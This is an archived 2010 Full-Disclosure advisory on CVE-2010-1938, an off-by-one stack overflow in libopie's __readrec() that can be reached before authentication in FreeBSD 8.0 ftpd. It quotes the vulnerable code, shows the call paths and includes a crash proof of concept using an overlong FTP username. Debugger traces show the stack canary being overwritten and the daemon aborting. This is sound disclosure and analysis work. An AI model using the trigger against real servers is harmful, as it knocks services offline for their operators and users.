lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 27 May 2010 10:30:56 +0200
From: Adam Zabrocki <>
Subject: libopie __readrec() off-by one (FreeBSD ftpd
	remote PoC)

[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ]

- Maksymilian Arciemowicz
- Adam 'pi3' Zabrocki

- Dis.: 04.05.2010
- Pub.: 27.05.2010

CVE: CVE-2010-1938
CWE: CWE-193

Affected Software:
- OPIE Authentication System ( libopie )

Software which use libopie:
- OpenSuSE
- wu-ftpd
- mod_opie
- openssh (modified by FreeBSD/DragonflyBSD Team)
- sudo
- opiesu
- popper
- Probably much more...

- FreeBSD 8.0 ftpd(8) Remote Off-by one
  line FreeBSD 7 is not affected
Other software can be also affected. 

NOTE: Prior versions may also be affected.

Orginal URL:

--- 0.Description ---
OPIE is a freely redistributable kit that will drop into most *IX systems and replaces
your login and FTP daemon with versions that use OTP for user authentication. It also
includes an OTP generator and a library to make it easy to add OTP authentication to
existing clients and servers.

--- 1. OPIE Authentication System Off-by one ---
Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack).
Let's look in the code:

/* Maximum length of a principal (read: user name) */

int __opiereadrec FUNCTION((opie), struct opie *opie)
    char *c, principal[OPIE_PRINCIPAL_MAX];
    int i;

    if (c = strchr(opie->opie_principal, ':'))
      *c = 0;
[1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX)
[2]   (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;

[3] strcpy(principal, opie->opie_principal);
  if (f)
  return rval;

This function at [1] check the length of the variable 'opie->opie_principal'
which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX
- 32 bytes, program will write at this position NULL byte. In fact the string
will be 32 bytes long.
Vulnerability exists at line [3]. Function strcpy() copy user controled variable
which can be maximum 32 bytes long, to the local bufor 'principal' which is 32
bytes long too. Here is off-by-one bug because function strcpy() after copied 32
bytes alwyas ADD NULL byte to the and of string. In fact it will be at the
position *(principal+32) which is out of buffer.
A possible way to exploit this vulnerability:

int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal)
  int i;

  memset(opie, 0, sizeof(struct opie));
  opie->opie_principal = principal;

  if (i = __opiereadrec(opie))              <=== our call ;)
    return i;

  return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2;

a deeper analyzis of the code shows:

int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss)
  int rval = -1;

  rval = opielookup(mp, name);


  return rval;

This function is really intereting because it is responsible for authentication so this
vulnerability can be in the pre-auth phase. We can found many softwares which use this function
for authorization (for example default ftp daemon in FreeBSD) ;)

Another interesting call we can find here:

int __opiewriterec FUNCTION((opie), struct opie *opie)
  char buf[17], buf2[64];
  time_t now;
  FILE *f, *f2 = NULL;
  int i = 0;
  char *c;

  if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1)
    return -1;

  if (!(opie->opie_flags & __OPIE_FLAGS_READ)) {
    struct opie opie2;
    i = opielookup(&opie2, opie->opie_principal);      <========== our call :)

and this function is used in many places:
"./src/contrib/opie/libopie/passwd.c"    <=== in function opiepasswd()
"./src/contrib/opie/libopie/verify.c"    <=== in function opieverify() - two times ;)

... so we have got many entry points ;) But we are going to test calls to function
opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default
FTP daemon for FreeBSD 8.0 ...

--- 2. FreeBSD 8.0 ftpd remote off-by one ---
Authentication module for FTP server in FreeBSD 8 module was modified. By default it
uses OPIE library. Let`s see;content-type=text%2Fplain


	if (opiechallenge(&opiedata, name, opieprompt) == 0) {
		pwok = (pw != NULL) &&
		       opieaccessfile(remotehost) &&
		reply(331, "Response to %s %s for %s.",
		      opieprompt, pwok ? "requested" : "required", name);
	} else {
		pwok = 1;
		reply(331, "Password required for %s.", name);
	askpasswd = 1;

this code has been added in line 8. 7.3 is not affected!

Variable 'name' is user name, defined in in auth



If we use more that 31 chars for username, ftpd will crash. The problem will
be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries
with -fstack-protector-all flag by default so the FTP server will be killed by SSP
with an information about attack:

"stack overflow detected"

The problematic part of libopie is called by the FTP server via this line:

opiechallenge(&opiedata, name, opieprompt)

Connected to localhost.
Escape character is '^]'.
220 FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
Connection closed by foreign host.

#0  0x281efde7 in kill () from /lib/
(gdb) i r
eax            0x0      0
ecx            0x8060f50        134614864
edx            0x0      0
ebx            0x28205ad8       673209048
esp            0xbfbfd84c       0xbfbfd84c
ebp            0xbfbfd898       0xbfbfd898
esi            0xbfbfd864       -1077946268
edi            0x281f3ad0       673135312
eip            0x281efde7       0x281efde7
eflags         0x246    582
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) bt
#0  0x281efde7 in kill () from /lib/
#1  0x2812de12 in brk () from /lib/
#2  0x00000580 in ?? ()
#3  0x00000006 in ?? ()
#4  0x00000000 in ?? ()
#5  0x281da06f in __srget () from /lib/
#6  0x280d0367 in __opieopen () from /usr/lib/
#7  0x280cff4f in __opiereadrec () from /usr/lib/
#8  0x280cfb53 in opielookup () from /usr/lib/
#9  0x280cea9c in opiechallenge () from /usr/lib/
#10 0x0804de32 in ?? ()
#11 0x0805fa60 in optind ()
#12 0x283250a0 in ?? ()
#13 0x0805fb78 in optind ()
#14 0x2809d000 in ?? ()
#15 0x00000548 in ?? ()
#16 0x00000000 in ?? ()
#17 0x2817658b in free () from /lib/
#18 0x080546e1 in getline ()
n ?? ()
#320 0x0000000f in ?? ()
#321 <signal handler called>
Cannot access memory at address 0x4c

FTP daemon crashed with this log:

May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated
May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped)
May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated
May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped)

SSP has detected stack oveerflow.

Let's analyze deeper what has exactly happened:

pi3-freebsd# gdb -q --pid=35118
Loaded symbols for /libexec/
0x281f3271 in read () from /lib/
(gdb) b __opiereadrec
Breakpoint 1 at 0x280cfd74
(gdb) c

Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/
(gdb) x/20i $eip
0x280cfe23 <__opiereadrec+179>: call   0x280cce48 <_init+1428>        <== strlen(...)
0x280cfe28 <__opiereadrec+184>: cmp    $0x20,%eax
0x280cfe2b <__opiereadrec+187>: ja     0x280cfefb <__opiereadrec+395> <= if > 0x20...
0x280cfe31 <__opiereadrec+193>: lea    0xffffffd0(%ebp),%eax
0x280cfe34 <__opiereadrec+196>: mov    %edi,0x4(%esp)
0x280cfe38 <__opiereadrec+200>: lea    0x4(%esi),%edi
0x280cfe3b <__opiereadrec+203>: mov    %eax,0xffffffb8(%ebp)
0x280cfe3e <__opiereadrec+206>: mov    %eax,(%esp)
0x280cfe41 <__opiereadrec+209>: call   0x280cce98 <_init+1508>   <== strcpy(principal,opie->opie_principal);
0x280cfe46 <__opiereadrec+214>: mov    0xffffffc0(%ebp),%edx
0x280cfeab <__opiereadrec+315>: mov    0x194(%ebx),%ecx    <=== get canary from the 'secret' place
0x280cfeb1 <__opiereadrec+321>: mov    %edi,%eax
0x280cfeb3 <__opiereadrec+323>: mov    0xfffffff0(%ebp),%edx  <== get canary from the stack
0x280cfeb6 <__opiereadrec+326>: xor    (%ecx),%edx            <== compare it (xor)
0x280cfeb8 <__opiereadrec+328>: jne    0x280cff4a <__opiereadrec+474>  <== __stack
0x280cfebe <__opiereadrec+334>: add    $0x4c,%esp
0x280cfec1 <__opiereadrec+337>: pop    %ebx
0x280cfec2 <__opiereadrec+338>: pop    %esi
0x280cfec3 <__opiereadrec+339>: pop    %edi
0x280cfec4 <__opiereadrec+340>: pop    %ebp
0x280cfec5 <__opiereadrec+341>: ret
0x280cfefb <__opiereadrec+395>: movb   $0x0,0x20(%edi)      <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;
0x280cfeff <__opiereadrec+399>: mov    0x104(%esi),%edi
0x280cff05 <__opiereadrec+405>: jmp    0x280cfe31 <__opiereadrec+193>
(gdb) x/x $ebx+0x194
0x280d3940 <remote_terms+8856>: 0x0805e900
(gdb) x/x 0x0805e900
0x805e900 <__stack_chk_guard>:  0x4541c442                 <== secret canary ;)
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8:     0x00000000
(gdb) b *0x280cfe28
Breakpoint 2 at 0x280cfe28
(gdb) c

Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/
(gdb) i r eax
eax            0x22     34                                 <=== strlen() return value...
(gdb) b *0x280cfefb
Breakpoint 3 at 0x280cfefb
(gdb) c

Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/
(gdb) x/s $edi
0x28325070:      'A' <repeats 31 times>, "\001\002\b"
(gdb) b *0x280cfeff
Breakpoint 4 at 0x280cfeff
(gdb) c

Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/
(gdb) x/s $edi
0x28325070:      'A' <repeats 31 times>, "\001"    <== as we can see in this string (array)
                                                       33 byte now is 0x0. So our buffer now
                                                       holds/contains 32 bytes before the
                                                       terminating NULL byte
(gdb) b *0x280cfe41
Breakpoint 5 at 0x280cfe41
(gdb) c

Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/
(gdb) x/x $esp
0xbfbfdca0:     0xbfbfdcc8
(gdb) x/x $esp+4
0xbfbfdca4:     0x28325070
(gdb) x/s 0x28325070
0x28325070:      'A' <repeats 31 times>, "\001"
(gdb) x/20x 0xbfbfdcc8                                                   <====== Local buffer
0xbfbfdcc8:     0x280d37ac      0x0805fa60      0x28325070      0xbfbfdd18
0xbfbfdcd8:     0x2805f629      0x2809d600      0x00000060      0x00000000
0xbfbfdce8:     0x4541c442      0x280d37ac      0x0805fa60      0x28325070
                ^^^^^^^^^^               <============  canary value before strcpy()
0xbfbfdcf8:     0xbfbfdd18      0x280cfb53      0x0805fa60      0x00000000
0xbfbfdd08:     0x00000118      0x0805fa60      0x280d37ac      0x00000000
(gdb) b *0x280cfe46
Breakpoint 6 at 0x280cfe46
(gdb) c

Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/
(gdb) x/20x 0xbfbfdcc8
0xbfbfdcc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfdcd8:     0x41414141      0x41414141      0x41414141      0x01414141
0xbfbfdce8:     0x4541c400      0x280d37ac      0x0805fa60      0x28325070
                ^^^^^^^^^^              <============== canary value after strcpy().
                                                        Now we can see pretty off-by-one... ;)
0xbfbfdcf8:     0xbfbfdd18      0x280cfb53      0x0805fa60      0x00000000
0xbfbfdd08:     0x00000118      0x0805fa60      0x280d37ac      0x00000000
(gdb) b *0x280cfeb8
Breakpoint 7 at 0x280cfeb8
(gdb) c

Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/
(gdb) x/x $ecx
0x805e900 <__stack_chk_guard>:  0x4541c442
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8:     0x4541c400
(gdb) b *0x280cfec5
Breakpoint 8 at 0x280cfec5
(gdb) c

May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated

Program received signal SIGABRT, Aborted.
0x281efde7 in kill () from /lib/

--- 3. Credits ---
Discovered by:
 - Maksymilian Arciemowicz from
 - Adam Zabrocki from ... hm... good question ;p

--- 4. Greets ---
sp3x Infospec p_e_a, #plhack@...NET

--- 5. Contact ---
- cxib {a\./t] securityreason [d=t} com
- pi3 [a{]t] itsec D||T pl

--- 6. Official FreeBSD response ---

- - Exploit Database - Vulnerability Database

pi3 (pi3ki31ny) - pi3 (at) itsec pl

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -

Powered by blists - more mailing lists